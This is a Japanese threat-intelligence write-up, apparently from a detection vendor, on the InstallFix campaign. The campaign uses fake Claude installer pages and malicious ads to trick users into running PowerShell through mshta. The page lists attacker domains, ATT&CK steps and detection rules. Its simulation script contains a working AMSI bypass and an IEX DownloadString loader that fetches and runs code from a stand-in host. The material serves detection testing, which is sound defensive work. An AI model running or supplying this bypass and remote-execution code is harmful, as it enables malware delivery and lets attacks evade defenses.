InstallFixとClaudeコード:偽のインストールページが真の危険に繋がる方法
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
InstallFixキャンペーンは、Claude AIインストーラーのページを模倣する悪意のあるGoogle広告を通じてマルウェアを拡散します。犠牲者は、PowerShellコマンドを実行するように説得されます。 mshta.exe を呼び出し、ポリグロットZIPおよびHTAファイルを取得します。その後、複数段階のファイルレスな感染ルートを開始します。ペイロードはSSLバリデーションとAMSI保護を無効にし、被害者特有のコマンド・アンド・コントロールドメインから追加のコードをダウンロードし、スケジュールされたタスクを通じて永続性を確立します。このオペレーションは、世界中の複数の業種や地域の組織をターゲットにしています。
調査
研究者は、偽のインストーラーページからの完全な実行フローを追跡しました。 mshta.exe、VBScript、およびいくつかのレイヤーのエンコードされたPowerShellを通じて。デオブスクレーションの結果、マルウェアは各被害者に対して一意の識別子を生成し、それを利用してホスト特有のコマンド・アンド・コントロールのURLを構築していることが判明しました。ネットワークのテレメトリデータから、複数の悪意のあるドメインやIPアドレスへの外向き通信が明らかになりました。最終的なペイロードは完全には回収されませんでしたが、観測された挙動からデータ収集と外部輸出の可能性が示唆されました。
緩和策
防御者は、特定された悪意のあるドメインやIPアドレスへのアクセスをブロックし、可能な限り mshta.exe および他のレガシーなスクリプトツールの使用を制限する必要があります。エンドポイントのセキュリティコントロールは、AMSIバイパスの試行やSSLバリデーションの改ざんを検出するように調整する必要があります。また、組織はソフトウェアインストーラーページへのGoogle Adsトラフィックに対して厳しいURLフィルタリングを強制するべきです。特にスポンサー検索結果や検証されていないソースからコピーしたコマンドを実行するリスクに注意を払うことは不可欠です。
対応
セキュリティチームは、プロセスチェーンで mshta.exe が起動するのを警告すべきです。 cmd.exe, powershell.exe、または不審なリモートURLを持つスクリプトインタープリタである場合。そのようなイベントは、スケジュールされたタスクの作成や既知のコマンド・アンド・コントロールインフラへの外向き接続と関連付けられるべきです。活動が確認された場合、防御者はホストを封じ込め、悪意のあるプロセスを終了し、スケジュールされたタスクなどの永続化メカニズムを削除する必要があります。その後、残りのファイルレスなペイロードコンポーネントを識別するために法医学レビューを実施する必要があります。
"graph TB %% クラス定義 classDef action fill:#99ccff classDef tool fill:#cccccc classDef process fill:#ffcc99 classDef malware fill:#ff9999 %% ノード – アクション recon_google_ads["<b>アクション</b> – <b>T1593.002 ウェブサイト/ドメインを検索: 検索エンジン</b><br/><b>説明</b>: 敵対者が、Claude AIを検索する犠牲者を誘うために、Google上の悪意のあるスポンサー結果を配置します。"] class recon_google_ads action initial_access_phishing["<b>アクション</b> – <b>T1566.002 フィッシング: スピアフィッシングリンク</b><br/><b>説明</b>: 被害者が悪意のある広告をクリックし、PowerShellコマンドをホストする偽のClaudeインストーラーページにリダイレクトされます。"] class initial_access_phishing action user_exec_copy_paste["<b>アクション</b> – <b>T1204.004 ユーザー実行: 悪意のあるコピー&ペースト</b><br/><b>説明</b>: 被害者は表示されたPowerShellコマンドをコピーし、コンソールで実行します。"] class user_exec_copy_paste action execution_mshta["<b>アクション</b> – <b>T1218.005 システムバイナリプロキシ実行: Mshta</b><br/><b>説明</b>: PowerShellがURLを含むポリグロットHTA/MSIXバンドルを使用してmshta.exeを呼び出します。"] class execution_mshta action execution_htavbscript["<b>アクション</b> – <b>T1027 難読化されたファイルまたは情報</b><br/><b>説明</b>: HTA VBScriptがmshta経由で実行され、Shell.Application COMオブジェクトを使用してcmd.exeを起動します。"] class execution_htavbscript action execution_powershell_stager["<b>アクション</b> – <b>T1140 ファイルまたは情報のデコード/コーディング解除</b><br/><b>説明</b>: PowerShellステージャがbase64でエンコードされ、変数に分割され、キー"AMSI_RESULT_NOT_DETECTED"でXORデコードされます。"] class execution_powershell_stager action defense_evasion_amsi["<b>アクション</b> – <b>T1211 防御回避のための悪用行為</b><br/><b>説明</b>: スクリプトがSSL証明書の検証を無効にし、AMSIを修正して検出を回避します。"] class defense_evasion_amsi action persistence_scheduled_task["<b>アクション</b> – <b>T1053 スケジュールされたタスク/ジョブ</b><br/><b>説明</b>: マルウェアがシステム再起動後にペイロードを再起動するスケジュールされたタスクを作成します。"] class persistence_scheduled_task action collection_automated["<b>アクション</b> – <b>T1119 自動化されたコレクション</b><br/><b>説明</b>: 侵害されたホストからeu2011ウォレットアプリケーションデータおよびブラウザデータを収集します。"] class collection_automated action exfiltration_automated["<b>アクション</b> – <b>T1020 自動化された送信</b> &<br/><b>T1029 スケジュールされた転送</b><br/><b>説明</b>: 収集されたデータは、https://oakenfjrod.ru やIPアドレス104.21.0.95、185.177.239.255など攻撃者の管理下にあるドメインに送信されます。"] class exfiltration_automated action %% ノード – ツール / プロセス tool_mshta["<b>ツール</b> – <b>名前</b>: mshta.exe<br/><b>目的</b>: HTMLアプリケーションファイルを実行します。"] class tool_mshta tool tool_cmd["<b>ツール</b> – <b>名前</b>: cmd.exe<br/><b>目的</b>: Windowsのコマンドラインインタープリタ。"] class tool_cmd tool tool_powershell["<b>ツール</b> – <b>名前</b>: PowerShell<br/><b>目的</b>: ペイロードの配信およびデコードに使用されるスクリプトエンジン。"] class tool_powershell tool tool_amsi_patch["<b>ツール</b> – <b>名前</b>: AMSIパッチ<br/><b>目的</b>: 検出を抑制するためにアンチマルウェアスキャンインターフェースを変更します。"] class tool_amsi_patch tool tool_schtasks["<b>ツール</b> – <b>名前</b>: schtasks.exe<br/><b>目的</b>: スケジュールされたタスクを作成および管理します。"] class tool_schtasks tool %% 接続 – フロー recon_google_ads –>|導く| initial_access_phishing initial_access_phishing –>|導く| user_exec_copy_paste user_exec_copy_paste –>|実行| tool_powershell tool_powershell –>|呼び出し| execution_mshta execution_mshta –>|使用| tool_mshta execution_mshta –>|ダウンロード| execution_htavbscript execution_htavbscript –>|生成| tool_cmd tool_cmd –>|実行| execution_powershell_stager execution_powershell_stager –>|使用| tool_powershell execution_powershell_stager –>|適用| defense_evasion_amsi defense_evasion_amsi –>|使用| tool_amsi_patch defense_evasion_amsi –>|作成| persistence_scheduled_task persistence_scheduled_task –>|使用| tool_schtasks persistence_scheduled_task –>|有効化| collection_automated collection_automated –>|トリガー| exfiltration_automated "
攻撃フロー
検出
疑わしいPowerShell文字列(PowerShell経由)
表示
疑わしいLOLBAS MSHTA防御回避行動(プロセス作成経由によるコマンド検出)
表示
PowerShellからの疑わしい.NETメソッドの呼び出し(PowerShell経由)
表示
疑わしいスケジュールされたタスク(監査経由)
表示
IoC(HashSha256)検出: InstallFixとClaudeコード:偽のインストーラーページからリアルコンプロマイズへ
表示
IoC(HashSha1)検出: InstallFixとClaudeコード:偽のインストーラーページからリアルコンプロマイズへ
表示
IoC(SourceIP)検出: InstallFixとClaudeコード:偽のインストーラーページからリアルコンプロマイズへ
表示
IoC(DestinationIP)検出: InstallFixとClaudeコード:偽のインストーラーページからリアルコンプロマイズへ
表示
InstallFixキャンペーンPowerShell回避技術【Windows PowerShell】
表示
InstallFixキャンペーン – Mshta.exeがCmd.exeとPowerShell.exeを生成【Windowsプロセス作成】
表示
シミュレーション実行
前提条件: テレメトリおよびベースラインプレフライトチェックが通過している必要があります。
理由: このセクションは、検出規則をトリガーするために設計されたアドバーサリ技術(TTP)を正確に実行する詳細を示します。コマンドとナラティブは、特定されたTTPを直接反映し、検出ロジックによって予想される正確なテレメトリを生成することを目的としています。抽象的または無関係な例は、誤診につながります。
-
攻撃ナラティブおよびコマンド:
攻撃者はスピアフィッシングリンク(T1566.002)を介して悪意のあるPowerShellスクリプトを取得し、侵害されたサーバーからペイロードをダウンロードします。AMSIの検出を回避するために、スクリプトはプロセスメモリにAMSI_RESULT_NOT_DETECTEDを注入し、その後にIEX演算子を使用してダウンロードしたコードを実行します。コマンド全体はBase64でエンコードされ、-EncodedCommandフラグとともに起動され、Sigmaルールの3つの選択子文字列をすべて満たしています。手順:
- 悪意のあるペイロードをダウンロードする (ファイルを書き込む簡単なPowerShellワンライナー)。
- AMSIバイパスマーカーを注入する プライベートスタティックフィールド
amsiInitFailed. - を設定
IEX. - でペイロードを実行する
powershell.exe -EncodedCommand ….
-
回帰テストスクリプト:
# InstallFixスタイルのPowerShell攻撃シミュレーション # ------------------------------------------------- # 1. 悪意のあるワンライナーを定義 $malicious = @" `$bypass = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') .GetField('amsiInitFailed','NonPublic,Static') `$bypass.SetValue(`$null,$true) IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1') "@ # 2. スクリプトをUTF-16LEでエンコードし、その後Base64(PowerShellの要件) $bytes = [System.Text.Encoding]::Unicode.GetBytes($malicious) $encoded = [Convert]::ToBase64String($bytes) # 3. -EncodedCommandフラグを付けてpowershell.exeで実行 $command = "powershell.exe -NoProfile -EncodedCommand $encoded" Write-Host "悪意のあるPowerShellを起動しています..." Invoke-Expression $command -
クリーンアップコマンド:
# 一時ファイルを削除し、残っているプロセスを終了 Get-Process -Name powershell -ErrorAction SilentlyContinue | Stop-Process -Force Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue Write-Host "クリーンアップ完了。"